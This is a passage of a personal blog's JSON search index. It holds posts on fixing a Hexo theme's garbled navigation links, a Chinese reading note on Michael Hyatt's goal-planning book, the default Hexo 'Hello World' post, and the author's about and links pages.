url_for(theme.menu.archives).split(\u0026#39;||\u0026#39;)[0] | trim }}\u0026#34;\u0026gt; 修改成\n\u0026lt;a href=\u0026#34;{{ url_for(theme.menu.archives.split(\u0026#39;||\u0026#39;)[0]) | trim }}\u0026#34;\u0026gt; 即可解决。\n","permalink":"http://xiejava.ishareread.com/posts/2020-01-04-%E8%A7%A3%E5%86%B3hexo%E5%8D%9A%E5%AE%A2%E5%AF%BC%E8%88%AA%E6%A0%8F%E9%93%BE%E6%8E%A5url%E4%B9%B1%E7%A0%81%E9%97%AE%E9%A2%98/","summary":"\u003cp\u003e今年的计划之一是搭建一个博客，开始写博客。于是在网上找了一些博客程序发现用Hexo在gitHub上搭建自己的个人博客是比较简单而且易于维护的做法。\n在网上找了一些教程后开始搭建，用自己比较中意的hexo-theme-next模板，发现搭建成功后导航栏链接不对，出现了URL乱码的问题。在网上搜索了一把发现有些网友也碰到了类似的问题不过都还没有解决。\n我是从 \u003ca href=\"https://github.com/Doublemine/hexo-theme-next.git\"\u003ehttps://github.com/Doublemine/hexo-theme-next.git\u003c/a\u003e 这里Fork下来的。仔细看了一下Fork下来的hexo-theme-next模板代码,尝试自己解决。\u003c/p\u003e","title":"解决Hexo博客导航栏链接URL乱码问题"},{"content":"\n2019已经过去，回首过去你是否懊恼？本来计划要坚持每天跑步健身的，结果买好了装备坚持了几天后半途而废。雄心勃勃的每天阅读的计划也无疾而终。想把英语学好，却总是停留在书的前几页。我想成为最好的自己、想减肥健康、想多存钱少花钱、想学习新技能、想开创自己的事业\u0026hellip;\u0026hellip;有很多美好的想法，但是事到如今只是美好的想法，回首往事时后悔不已，后悔没有正确的做出决定，后悔没有开始，后悔没有坚持。然而后悔又有什么用呢？岁月还是这样无情的流逝了，你还是原来的那个你。2020年，是时候开启最棒的一年了！\n今年是突破之年！是很多人发自内心的渴望。人们都喜欢在新年制定目标。但是在实现目标的过程中，一开始我们斗志昂扬，大步向前，信心满满。但之后要么计划被打乱，要么最终不了了之。然后大多数人开始以一种失落和懊悔的心情诉说自己的遭遇的一次次挫折和失败。大部分的人都曾经在某些年份制定过新年目标。但是人人都制定目标，并不意味着总是有效。今年是突破之年吗？能够突破制定计划-失败-懊恼-制定计划的怪圈吗？能够真正的突破成就最好的自己吗？\n今年必须是突破的一年！来自全球知名高效能专家迈克尔·海亚特的这本《规划最好的一年》。写给无力改变现状的你，让你从个人、职业、财富、人际关系等全面升级。如果你想摆脱失意与迷茫，走向自信与明朗，获得成功一年的力量。相信《规划最好的一年》一书中有你想要的答案。\n作者迈克尔·海亚特（Michael Hyatt），是全球知名高效能专家，《纽约时报》畅销书作家。全球极具魅力的传媒领袖、平台应用大师、自媒体营销泰斗。曾任美国最大的出版公司之一托马斯·纳尔逊出版公司董事会主席、CEO。他创作过《生命向前》（与丹尼尔·哈卡维合著）以及《平台：从喧闹世界脱颖而出》，荣登过《华尔街日报》《福布斯》《快公司》《企业家》的封面人物。迈克尔·海亚特在美国开设有“5天即达最棒的一年”线上及线下课程，改变了逾千万美国年轻人的命运。\n相信无论你有过什么好的或是不好的经历，即使是在你曾经深度受挫的领域，今年都绝对有可能成为你最有意义的一年。因为这本书告诉了你改变自己具体的做法。是时候开始最棒的一年了。\nSTEP 1 相信可能 要创造最好的一年，首先就要升级观念，树立自我开放性观念，相信一切皆有可能。\n有益的思维习惯往往产生积极的结果，例如幸福感、个体满足感，甚至是物质上的成就。然而，不好的思维习惯往往会产生相反的结果：不幸福感、不满足感，甚至是时运不济的哀怨感。个人的生活格律可以由你改变。即使现有的思维习惯已经带来不错的成果，你还是可以通过升级自己的信念，在生活的各个领域体验变革性的个人进步。一旦我们开始关注信念升级，我们的境况往往也会随之改善。\n如果一个人经历的挫折越多，就会越不相信自己能够战胜挫折。自我怀疑是目标的毒药。消极的心态会毒害我们的灵魂，破坏我们的未来。所以我们要升级观念，改变信念，相信自己能够完成目标。这是决定目标能够实现的第一个关键因素。\n观念升级，避开自我设限性观念陷阱。相信你现在所拥有的，足以改变你的生活。不管现在处于什么环境，我们都有能力追求更好的未来。资源从来都不是我们实现目标过程中的主要挑战。\n具体行动计划：\n1.认识信念的力量 如塞尔维亚维托夫尼卡的僧侣撒迪厄斯所言:“我们的想法决定我们的生活。”无论是积极的信念还是消极的信念，都会对生活经历产生巨大影响。明白这个事实，是进入最好的一年的第一阶段。\n2.直面自我设限性观念 我们都会有对世界、他人、自己的自我设限性观念。四个检验你是否陷入自我设限性观念的指标，你的观点是否有以下思维形成:非黑即白、主观化、小题大做、普遍化。还有很重要的一点，就是要识别出自我设限性观念的来源，即你的自我设限性观念是来自过去的经验、新闻媒体、社交媒体还是负面关系。\n3.观念升级 识别自我设限性观念。 升级观念要从认识观念开始，因此首先要仔细思考阻碍你前进的观念。记录自我设限性观念。在左边的一栏写下自我设限性观念，文字表达有助于将自我设限，性观念客观化。反思自我实现新观念。评估某种观念对你的贡献，这种观念赋予你力量了吗？对你实现目标有帮助吗？摒弃/重构自我设限性观念。有时候你可以直接否定一种自我设限性观念；有时候你可能需要论证推翻它，或是从另一个角度审视障碍。修正自我设限性观念。针对旧的自我设限性观念写下新的自我开放性观念。重新定位。相信新的真理，重新投入生活。\nSTEP 2 总结过去 通过后向思考总结过去，在遗憾中发现机会，以及利用感恩优势培养富足性思维。\n人们都会陷入同样的困境，我们自己也在某种程度上处于这种困境中。除了自我设限性观念，第二个最常见的障碍就是过往的经历。我们把过去绑在身上，就像拖着一辆载满了破旧家具的拖车。因为我们太过受制于过去，所以才不能充分考虑未来。\n如果不愿意承认过去，过去就不会完整。不管我们在过去的岁月里经历过什么，都必须处理这些经历。如果采取无视的态度，不好的事就会重现。如果不寻求解决办法，我们就会把过去遗留下来的东西带到未来，破坏我们对未来的精心设计。\n不管我们有怎么样的过程，只要我们怀着感恩的心看待现在，就会发现我们所拥有的比想象中的要多得多。感恩能够放大生活中的一切美好事物。感恩是能够消除稀缺性思维，培养富足性思维的最好方法。\n具体行动计划：\n1.事后回顾 事后回顾四个关键步骤：\n陈述理想结果 首先问问自己，怎么看待过去的一年。你的计划是什么、梦想是什么，如果你有具体的目标，这些目标又是什么？要清楚自己的感受。\n承认实际结果 在陈述理想结果时，你可能已经意识到了差距。理想与现实之间总是有距离的，你可能还有一些目标甚至很多目标没有实现。所以问问自己：你在过去的一年中有什么失意或遗憾？悔恨的意义不是让你奢求改变过去，而是让你更好地思考现在。问问自己：在过去的一年中，什么事情让你感到自豪？我们不仅要关注什么事情不成功，还要关注什么事情成功，分析是什么信念或行动带来了这种成功。这种分析对认识自己的力量及总结过去战胜困难的方法具有重要作用，同时也会增加我们对未来的信心。\n从经验中学习 从经历中提炼经验教训，让经历成为前进的工具。\n调整行为 如果是你的某种观念或行为造成了理想与实际结果之间的差距，那么是时候做出改变了。\n2.在遗憾中看到机会 在回答:“你在过去一年中有什么失意或遗憾？”问题时采取积极补救措施的可能性越大，遗憾的感觉就越强烈。所以问问自己，你的遗憾中隐藏着什么机会。\n3.感恩练习 感恩不是一种情绪，而是一种行动，尝试一下三个练习:早晚自省；通过感激生活的恩赐，练习感恩；记感恩日记。\nSTEP 3 设计未来 学习如何根据SMART目标管理原则建立成就型目标与习惯性目标的最佳组合，以及为什么要在舒适区之外设立目标。\n顺其自然不会本来非凡的成就随波逐流，不能达到想去的终点。我们只能有意识的去思考自己想要什么，为什么想要并根据目标制定行动方案，这一步在帮助我们清理自己的需要创造理想的生活，这也是乐趣的开始。\n具体行动计划：\n1.设立目标 每年设立7~10个目标，目标要满足smarter原则:明确性，可衡量性，可行性风险性，定时性，激励性，相关性，根据不同的生活领域制定相应的目标，将目标分散到各个季度，以保证注意力集中以及全年节奏稳定。\n2.成就型与习惯性目标合理结合 成就型目标代表一次完成的成就；习惯型目标代表持续且规律的行动。习惯型目标还可以是成就型目标的实现方式。两种类型的目标都对规划最好的一年有所帮助，但是我们要根据个人需求来平衡这两种目标。对我们有用的组合就是正确的组合。\n3.在不适区设立目标 一个有意义的目标必须让我们提升自己。这就意味着我们必须离开舒适区。如果你明确知道一个目标应该怎么实现，那说明这个目标还太简单了。人生中所有重要的事都发生在舒适区之外。有意义的目标一定是处在不适区的。不适区的目标给我们带来挑战，让我们最大的发挥自己的能力。而恐慌区的目标可能导致失败，带来沮丧和失望。通常的做法是设立一个接近恐慌区的目标，然后再把它稍稍拖回来一些，处在学习区的目标是比较合适的。\n最好的是往往发生在我们不得不成长的时候。这在我们对未来一年的规划中是绝对真理，但这违反了我们规避风险的本能，以下4点将有助于我们克服阻力:\n承认走出舒适区的价值。首先转变思维，只要你接受了挑战区的价值，接下来的事就简单多了。\n直面痛苦。大多数阻碍来自我们的内心，但转变思维还不够，通过直面痛苦，我们改变的还有我们的意愿。\n克服恐惧，负面情绪不可避免，不要无视负面情绪，你只需要将实现目标带来的成就感和负面情绪进行对比，是成就多，还是恐惧多？\n避免过度分析。分析瘫痪是真实存在的，你不需要在开头就看到结尾，也不需要知道目标实现的整个过程，你只需要清楚自己下一步应该做什么。\nSTEP 4 找到动力 深入挖掘自己的内在动力，以及防止迷失自己的方法，与朋友同行。\n切记，目标的设定必须明确、易于衡量、有章可循，且无太大风险，节点清晰、振奋人心，并与自己的生活息息相关。识别目标以及动机与目标相关联，给你的目标一个理由。这一点至关重要，因为我们注定会陷入泥沼。无论哪个梦想哪个目标、哪次尝试都逃脱不了这样的命运。我们有时会想，要是有更好的计划，到达终点的路便会少些痛苦、少些风雨。然而，往往事与愿违，要走出困境必须善加利用你的动机，只有这样才能获得动力与毅力，不畏险阻，不言放弃。\n具体行动计划：\n1.回忆动机 从识别主要动机入手。你的初衷是什么？它对你来说为什么重要？找个本子，要不就拿出一张纸，一一列出主要动机。只列动机还远远不够，记得给他们排个序，把最好的理由写在前面。最后，用脑子去想，用心去体会。\n2.驾驭动机 追逐目标的过程中，有4个方法能让我们坚持不懈:\n（1）识别、憧憬未来。最终，事情本身便有了意义。\n（2）要知道新习惯不是几个礼拜就能养成的，没准需要五六个月，所以别期望太高。\n（3）游戏人生，请习惯使用一些养成软件和日历簿帮个忙。\n（4）要衡量所得，而不是差距，珍视每个小的成就。\n3.组建团体 若是有朋友同行，目标的实现便会容易不少。主动交朋友给了成功4个好处:学习、鼓励、责任、竞争，至少有7种朋友能够帮你成长，帮你实现目标:网络社区，跑步健身社区，交流社区，指导性社交圈，读书学习小组，责任小组，好朋友，若是找不到合适的团体，千万别犹豫，干脆自己建一个吧。\nSTEP 5 付诸实践 规划是基础，行动才是关键。将目标付诸实现，勇于行动，全方位升级！\n伟大并非来自一次冲动，而是由一系列小时汇集而成。确定目标是成功的一半，成功的另一半在于采取行动。\n具体行动计划：\n1.将总目标分解为可执行的后续步骤 设立目标在舒适区之外考虑，执行目标从舒适区开始。先完成最简单的任务，遇到困难的时候寻求外界帮助。快速取得初步成功能为后续行动带来动力。\n2.运动触发器 找到最有效的激活事件。利用杠杆效应，借助简单的任务完成困难的任务。不要依靠自己的即时自控力，通过清除诱惑、自动化、委托授权来优化触发器。\n我们在追求目标的过程中，会遇到干扰事项，所以要预测干扰，预置回应。关键就是在被干扰事项打乱计划之前，先想好应对策略，如果应对策略效果不佳，则调整到满意为止。\n3.安排定期目标回顾 每日浏览目标列表，确保心中有目标，并在浏览时思考当天的具体任务，也就是“每日三大事”。\n在每周回顾中重点关注主要动机对前一周的任务进展进行一次快速的事后回顾，审查每个目标的后续步骤，并确定接下来一周必须取得的三个成果，也就是“每周三大事”。用“每周三大事”指导“每日三大事”。\n在季度回顾时，建议重新走一遍“5步实现新年目标”流程。重点如下:\n如果已经取得完全或阶段性的胜利，就庆祝自己的胜利；\n如果还没有取得任何形式的胜利，就重新开始追求目标；\n如果不能重新开始，就修改目标；\n如果不能修改，就删除目标；\n用新目标替代被删除的目标。\n不要拖着你的梦想。不要拖着你的目标。今日事今日毕，你的生活和工作才能有所起色。一旦下定决心，就行动起来。2020必须是突破的一年！\n关注：“爱分享读书”微信公众号 读书我们是认真的","permalink":"http://xiejava.ishareread.com/posts/2020-01-01-2020%E6%98%AF%E6%97%B6%E5%80%99%E5%BC%80%E5%90%AF%E6%9C%80%E6%A3%92%E7%9A%84%E4%B8%80%E5%B9%B4%E4%BA%86/","summary":"\u003cp\u003e\u003cimg alt=\"2020是时候开启最棒的一年了！\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200105/blogimage/dream1.png\" title=\"2020是时候开启最棒的一年了！\"\u003e\u003c/p\u003e\n\u003cp\u003e2019已经过去，回首过去你是否懊恼？本来计划要坚持每天跑步健身的，结果买好了装备坚持了几天后半途而废。雄心勃勃的每天阅读的计划也无疾而终。想把英语学好，却总是停留在书的前几页。我想成为最好的自己、想减肥健康、想多存钱少花钱、想学习新技能、想开创自己的事业\u0026hellip;\u0026hellip;有很多美好的想法，但是事到如今只是美好的想法，回首往事时后悔不已，后悔没有正确的做出决定，后悔没有开始，后悔没有坚持。然而后悔又有什么用呢？岁月还是这样无情的流逝了，你还是原来的那个你。2020年，是时候开启最棒的一年了！\u003c/p\u003e","title":"2020是时候开启最棒的一年了！"},{"content":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.\nQuick Start Create a new post 1 $ hexo new \u0026#34;My New Post\u0026#34; More info: Writing\nRun server 1 $ hexo server More info: Server\nGenerate static files 1 $ hexo generate More info: Generating\nDeploy to remote sites 1 $ hexo deploy More info: Deployment\n","permalink":"http://xiejava.ishareread.com/posts/2019-12-31-hello-world/","summary":"\u003cp\u003eWelcome to \u003ca href=\"https://hexo.io/\"\u003eHexo\u003c/a\u003e! This is your very first post. Check \u003ca href=\"https://hexo.io/docs/\"\u003edocumentation\u003c/a\u003e for more info. If you get any problems when using Hexo, you can find the answer in \u003ca href=\"https://hexo.io/docs/troubleshooting.html\"\u003etroubleshooting\u003c/a\u003e or you can ask me on \u003ca href=\"https://github.com/hexojs/hexo/issues\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"quick-start\"\u003eQuick Start\u003c/h2\u003e\n\u003ch3 id=\"create-a-new-post\"\u003eCreate a new post\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ hexo new \u003cspan class=\"s2\"\u003e\u0026#34;My New Post\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eMore info: \u003ca href=\"https://hexo.io/docs/writing.html\"\u003eWriting\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"run-server\"\u003eRun server\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ hexo server\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eMore info: \u003ca href=\"https://hexo.io/docs/server.html\"\u003eServer\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"generate-static-files\"\u003eGenerate static files\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ hexo generate\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eMore info: \u003ca href=\"https://hexo.io/docs/generating.html\"\u003eGenerating\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"deploy-to-remote-sites\"\u003eDeploy to remote sites\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ hexo deploy\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eMore info: \u003ca href=\"https://hexo.io/docs/one-command-deployment.html\"\u003eDeployment\u003c/a\u003e\u003c/p\u003e","title":"Hello World"},{"content":"大家好，我是 XieJava。\n一名热爱技术的网络安全从业者，同时也是个终身学习的实践者。\n在这个博客里，我主要记录和分享以下内容：\n网络安全 - 安全运营、威胁分析、安全体系建设 编程开发 - Python、Django、Vue 等技术实践 数据分析 - pandas、机器学习相关探索 读书笔记 - 读书感悟与自我管理心得 联系我 GitHub: xiejava1018 CSDN: fullbug ","permalink":"http://xiejava.ishareread.com/about/","summary":"\u003cp\u003e大家好，我是 XieJava。\u003c/p\u003e\n\u003cp\u003e一名热爱技术的网络安全从业者，同时也是个终身学习的实践者。\u003c/p\u003e\n\u003cp\u003e在这个博客里，我主要记录和分享以下内容：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e网络安全\u003c/strong\u003e - 安全运营、威胁分析、安全体系建设\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e编程开发\u003c/strong\u003e - Python、Django、Vue 等技术实践\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e数据分析\u003c/strong\u003e - pandas、机器学习相关探索\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e读书笔记\u003c/strong\u003e - 读书感悟与自我管理心得\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"联系我\"\u003e联系我\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGitHub: \u003ca href=\"https://github.com/xiejava1018\"\u003exiejava1018\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCSDN: \u003ca href=\"https://blog.csdn.net/fullbug\"\u003efullbug\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"关于"},{"content":" 站点 链接 说明 爱分享读书 www.ishareread.com 读书分享 CSDN blog.csdn.net/fullbug 技术博客 豆瓣 douban.com/people/xiejava 读书观影记录 ","permalink":"http://xiejava.ishareread.com/links/","summary":"\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e站点\u003c/th\u003e\n          \u003cth\u003e链接\u003c/th\u003e\n          \u003cth\u003e说明\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e爱分享读书\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"http://www.ishareread.com/\"\u003ewww.ishareread.com\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003e读书分享\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eCSDN\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"https://blog.csdn.net/fullbug\"\u003eblog.csdn.net/fullbug\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003e技术博客\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e豆瓣\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"https://www.douban.com/people/xiejava/\"\u003edouban.com/people/xiejava\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003e读书观影记录\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e","title":"友情链接"}]